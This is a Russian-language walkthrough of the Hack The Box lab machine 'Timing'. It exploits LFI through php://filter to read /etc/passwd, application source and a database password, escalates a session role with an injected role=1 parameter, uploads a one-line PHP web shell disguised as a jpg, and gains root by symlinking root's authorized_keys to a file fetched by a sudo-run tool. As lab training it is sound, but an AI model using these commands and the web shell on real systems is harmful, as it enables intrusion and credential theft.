Всем привет! Сегодня мы разберём прохождение Medium машины Timing на Hack The Box (HTB).
Из этого прохождения вы узнаете, как использовать уязвимость типа LFI для доступа к исходному коду веб-приложения и загрузки шелла.
Разведка
Nmap
Запустим сканирование машины и посмотрим какие порты открыты и какие сервисы запущены. Сканировать будем стандартные TCP порты с параметрами -sCV (для использования стандартных скриптов и обнаружения версий сервисов) и максимальной скоростью -T5 (T1 - T5):
nmap 10.10.11.135 -sCV -T5
Nmap нашел 2 открытых TCP порта – SSH (22) и HTTP (80):
На 80 порту находится веб-сервер Apache httpd 2.4.29 (Ubuntu).
Порт 80 (HTTP)
Давайте откроем страницу в браузере. Видим простую страницу с формой аутентификации:
Перебор директорий
Изучим директории с помощью gobuster:
gobuster dir -u http://10.10.11.135/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
Со всех страниц есть редирект на login.php, за исключением /images и image.php.
Вначале откроем страницу /images.
Страница не доступна. А теперь проверим страницу image.php:
На ней нет редиректа и нет вывода ошибок. Возможно она ждет приема каких-то GET или POST параметров.
Давайте найдем неизвестный параметр с помощью wfuzz:
wfuzz -u http://10.10.11.135/image.php?FUZZ=/etc/passwd -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt --hh 0
LFI
Мы нашли параметр img, давайте проверим его на LFI (Local File Inclusion). Введем значение в параметр, страница выдает нам надпись «hacking attempt detected!».
Скорее всего здесь используются какие-то фильтры, которые мешают прочитать любой файл. Попробовав различные варианты, остановимся на использовании фильтра php base64 для чтения файлов:
http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd
php://filter — это вид метаобертки, позволяющий применять фильтры к потоку во время открытия. Использование фильтров дает возможность трансформировать данные, получаемые из файла или записываемые в файл.
На странице появилось содержимое файла etc/passwd:
Там есть пользователь aaron. Запомним его на будущее.
Давайте попробуем прочитать login.php с помощью LFI и curl.
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d
И мы получим исходный код файла.
Просмотрев исходный код файла, найдем включение файла db_conn.php. И посмотрим также его содержимое.
В нем находится пароль от базы данных «4_V3Ry_l0000n9_p422w0rd» для пользователя root. Давайте проверим еще файл upload.php файл, который мы нашли ранее с помощью gobuster:
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php | base64 -d
Перед загрузкой подключается файл «admin_auth_check.php», давайте посмотрим его.
В нем проверяется, равна ли $_SESSION['role'] единице и если нет, то открывается страница index.php.
Но какой login и пароль страницы входа в систему? Пробуем различные комбинации. Мы помним что в файле etc/passwd есть пользователь aaron. Наконец, после ввода aaron/aaron мы смогли зайти на страницу:
Там написано «You are logged in as user 2!» (Вы вошли в систему как пользователь 2). Перейдем по ссылке «Edit profile».
Давайте посмотрим исходный код файла profile.php
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile.php | base64 -d
Форма отправляется с помощью кода на javascript profile.js. Давайте его изучим:
Значения формы отправляются в profile_update.php. Посмотрим его:
И видим такой код:
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
В нем устанавливается $_SESSION['role'] = 1. Теперь давайте обновим пользователя и перехватим запрос с помощью Burp.
И добавим «&role=1» в запрос
Перейдем на страницу Home и перезагрузим ее. Появилась новая ссылка «Admin panel».
Кликнув по ней, видим форму загрузки изображения аватара.
Давайте посмотрим его исходный код.
Видим включаемый файл avatar_uploader.js. Посмотрим и его:
Данные формы отсылаются с помощью POST запроса в upload.php. Давайте посмотрим на него:
В нем идет проверка является ли загружаемый файл jpg-файлом.
Shell
Попробуем отправить созданный нами jpg файл с шеллом. Создадим его файл командой:
echo '<?php echo system($_GET["cmd"]);?>' > 111.jpg
Загрузим его через форму. Все загрузилось успешно:
Теперь найдем имя, под которым он сохранился на сервере, для этого посмотрим еще раз код upload.php:
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
Т.к. мы выполняли запросы через Burp, то найдем время в истории запросов и найдем HTTP-заголовок ответа сервера. В заголовке Date будет нужное нам время.
Найдем имя файла с помощью простого кода на php:
Получим файл 22c9f0dcc2bd6b1735b5501df5a289bd_111.jpg и сделаем запрос с помощью curl:
curl 'http://10.10.11.135/image.php?img=images/uploads/22c9f0dcc2bd6b1735b5501df5a289bd_111.jpg&cmd=id'
Команда выполнилась успешно!
user.txt
Enumeration
После изучения различных директорий находим архивный zip-файл source-files-backup.zip в директории /opt.
Давайте попробуем скачать его. Вначале скопируем его в корень с помощью команды:
curl 'http://10.10.11.135/image.php?img=images/uploads/22c9f0dcc2bd6b1735b5501df5a289bd_111.jpg&cmd=cmd=cp+/opt/source-files-backup.zip+./'
Попробуем теперь открыть его в браузере:
В архиве есть файл .git. Это даст нам доступ к истории изменения файлов.
С помощью команды git show находим список изменений в файле db_conn.php. Был изменен пароль.
Давайте попробуем зайти по ssh с найденным паролем:
Посмотрим доступные файлы и директории, и сразу находим файл с флагом user.txt.
root.txt
Повышение привилегий
Проверим sudoers командой sudo -l:
И видим запущенный netutils с root правами:
Запустим его и посмотрим как он работает:
Можно выбрать одну из опций: FTP или HTTP. После чего можно указать адрес удаленного ресурса с которого можно загрузить файл.
Создадим cимволическую ссылку /root /.ssh/authorized_keys с ключами и когда мы загрузим с удаленного ресурса файл с тем же именем, он перезапишет содержимое файла authorized_keys.
ln -s /root/.ssh/authorized_keys keys
Создадим ключи ssh у себя локально:
$ ssh-keygen
$ cd .ssh/
$ cp id_rsa.pub keys
И запустим веб-сервер командой:
sudo python3 -m http.server 80
И на удаленном ресурсе с помощью netutils зальем файл keys:
Затем попробуем залогиниться с нашим файлом id_rsa и получить доступ к root.
Посмотрим доступные директории и тут находится root.txt.
#hack the box #hackthebox #htb #hacking #хакер #хакерство #хакеры #этичный хакинг #пентест #пентестинг